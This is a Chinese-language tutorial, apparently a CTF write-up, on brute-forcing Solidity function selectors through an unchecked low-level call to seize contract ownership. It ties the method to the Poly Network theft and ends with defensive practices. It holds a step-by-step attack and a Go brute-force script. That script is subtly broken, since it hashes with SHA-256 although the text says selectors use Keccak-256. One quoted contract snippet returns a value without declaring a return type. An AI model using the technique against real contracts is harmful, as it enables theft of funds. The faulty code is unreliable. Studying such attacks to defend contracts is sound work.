从一道智能合约赛题看Poly Network 事件
字数 1621 2025-08-09 13:33:49
智能合约安全分析:从函数签名爆破到Poly Network事件
1. 漏洞背景与概述
本教学文档将详细分析一种基于函数签名爆破的智能合约攻击手法,这种手法与2021年Poly Network遭受的6.1亿美元攻击事件中使用的技术类似。攻击的核心在于:
- 函数签名值的爆破
- 错误的合约所有权设置
- 不安全的call调用使用
2. 漏洞代码分析
2.1 目标合约结构
分析的目标合约分为两个部分:
DVT3.sol (核心权限合约)
function changeOwner(address newOwner) public onlyOwner returns(bool) {
require(newOwner != address(0));
emit OwnerExchanged(owner, newOwner);
owner = newOwner;
return true;
}
function payforflag() public onlyOwner {
emit SendFlag(msg.sender);
}
关键点:
changeOwner和payforflag都受onlyOwner修饰符保护- 正常情况下无法直接调用这些函数
Airdrop.sol (存在漏洞的合约)
function TransferOrAirDrop(address to, bool isTransfer, bytes calldata _method, uint256 amount) external {
if (isTransfer) {
bytes memory returnData;
bool success;
(success, returnData) = token.call(abi.encodePacked(
bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),
abi.encode(msg.sender,to,amount)
));
require(success, "executeProposal failed");
} else {
// 空投逻辑...
}
}
关键漏洞点:
- 使用
call进行低级调用 _method参数完全可控- 没有对调用的函数名做任何限制
- DVT3合约的owner被设置为Airdrop合约地址
3. 攻击原理详解
3.1 函数签名爆破基础
在Solidity中,函数调用是通过函数签名(即函数选择器)来识别的。函数签名是函数名和参数类型的Keccak-256哈希的前4个字节。
例如:
import sha3
p = sha3.keccak_256()
p.update(b'changeOwner(address)')
print(p.hexdigest()[:8]) # 输出: a6f9dae1
3.2 攻击向量分析
攻击者需要找到一个字符串_method,使得:
keccak256(abi.encodePacked(_method, "(address,address,uint256)"))的前4字节 == 0xa6f9dae1
这样,当调用:
token.call(abi.encodePacked(
bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),
abi.encode(msg.sender,to,amount)
));
实际上等同于调用:
token.call(abi.encodePacked(
bytes4(0xa6f9dae1), // changeOwner(address)的签名
abi.encode(msg.sender) // 新的owner地址
));
3.3 参数传递机制
Solidity的参数传递会自动对齐:
- 虽然原始函数需要
(address,address,uint256)三个参数 - 但
changeOwner只需要一个address参数 - Solidity会从提供的参数中自动取第一个
address作为参数
4. 攻击实施步骤
4.1 函数签名爆破
编写爆破脚本寻找满足条件的_method值:
package main
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"sync"
)
func worker(start, end int, wg *sync.WaitGroup, result chan<- string) {
defer wg.Done()
h := sha256.New()
for i := start; i < end; i++ {
method := fmt.Sprintf("func%d", i)
data := method + "(address,address,uint256)"
h.Reset()
h.Write([]byte(data))
hash := h.Sum(nil)
if hex.EncodeToString(hash[:4]) == "a6f9dae1" {
result <- method
return
}
}
}
func main() {
const numWorkers = 16
const rangeSize = 10000000
result := make(chan string)
var wg sync.WaitGroup
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go worker(i*rangeSize, (i+1)*rangeSize, &wg, result)
}
go func() {
wg.Wait()
close(result)
}()
found := <-result
fmt.Println("Found method:", found)
}
4.2 构造攻击交易
找到合适的_method后,构造攻击交易:
- 设置
isTransfer = true - 使用爆破得到的
_method值 - 设置
to为攻击者自己的地址 amount值不重要,可以设为0
4.3 获取合约所有权
成功调用后:
- 通过
changeOwner函数将DVT3合约的owner改为攻击者地址 - 现在可以正常调用
payforflag函数 - 触发
SendFlag事件完成攻击
5. Poly Network事件关联分析
5.1 Poly Network漏洞代码
在Poly Network的_executeCrossChainTx函数中存在类似漏洞:
(success, returnData) = _toContract.call(abi.encodePacked(
bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))),
abi.encode(_args, _fromContractAddr, _fromChainId)
));
5.2 实际攻击流程
- 攻击者爆破找到能匹配
putCurEpochConPubKeyBytes(bytes)函数签名的_method - 调用该函数替换Keeper的公钥:
function putCurEpochConPubKeyBytes(bytes memory curEpochPkBytes) public whenNotPaused onlyOwner { ConKeepersPkBytes = curEpochPkBytes; return true; } - 使用新的私钥签名合法交易
- 转移LockProxy合约管理的资产
6. 防护措施
6.1 安全的call调用实践
-
避免直接使用用户输入的_method参数:
// 不安全 token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "..."))), ...)); // 安全做法 - 使用预定义的函数选择器 bytes4(keccak256("safeFunction(address)")); -
使用白名单限制可调用的函数:
mapping(bytes4 => bool) public allowedFunctions; function callSafe(address to, bytes4 funcSelector, bytes memory data) external { require(allowedFunctions[funcSelector], "Function not allowed"); (bool success, ) = to.call(abi.encodePacked(funcSelector, data)); require(success, "Call failed"); }
6.2 权限控制最佳实践
-
使用OpenZeppelin的Ownable合约:
import "@openzeppelin/contracts/access/Ownable.sol"; contract MyContract is Ownable { function sensitiveFunction() public onlyOwner { // ... } } -
避免将合约地址设置为owner:
// 不安全 owner = address(airdropContract); // 安全做法 - 使用多签或时间锁
6.3 其他防御措施
-
使用检查-效果-交互模式:
function safeWithdraw() external { uint256 amount = balances[msg.sender]; balances[msg.sender] = 0; // 先更新状态 (bool success, ) = msg.sender.call{value: amount}(""); // 后交互 require(success, "Transfer failed"); } -
进行全面的单元测试:
- 测试所有可能的函数签名组合
- 测试边界条件下的合约行为
7. 总结
本教学文档详细分析了基于函数签名爆破的智能合约攻击手法,其核心要点包括:
-
漏洞成因:
- 不安全的call调用允许任意函数执行
- 缺乏对函数调用的白名单限制
- 错误的权限设置
-
攻击流程:
- 爆破找到匹配目标函数签名的输入
- 利用参数自动对齐特性传递正确参数
- 获取合约控制权后执行恶意操作
-
实际案例:
- Poly Network事件中攻击者利用相同手法替换Keeper公钥
- 最终导致6.1亿美元资产被盗
-
防御措施:
- 严格控制call调用的使用
- 实现完善的权限控制系统
- 进行全面的安全审计和测试
通过深入理解这种攻击手法,开发者可以更好地保护自己的智能合约免受类似攻击,提高整个区块链生态系统的安全性。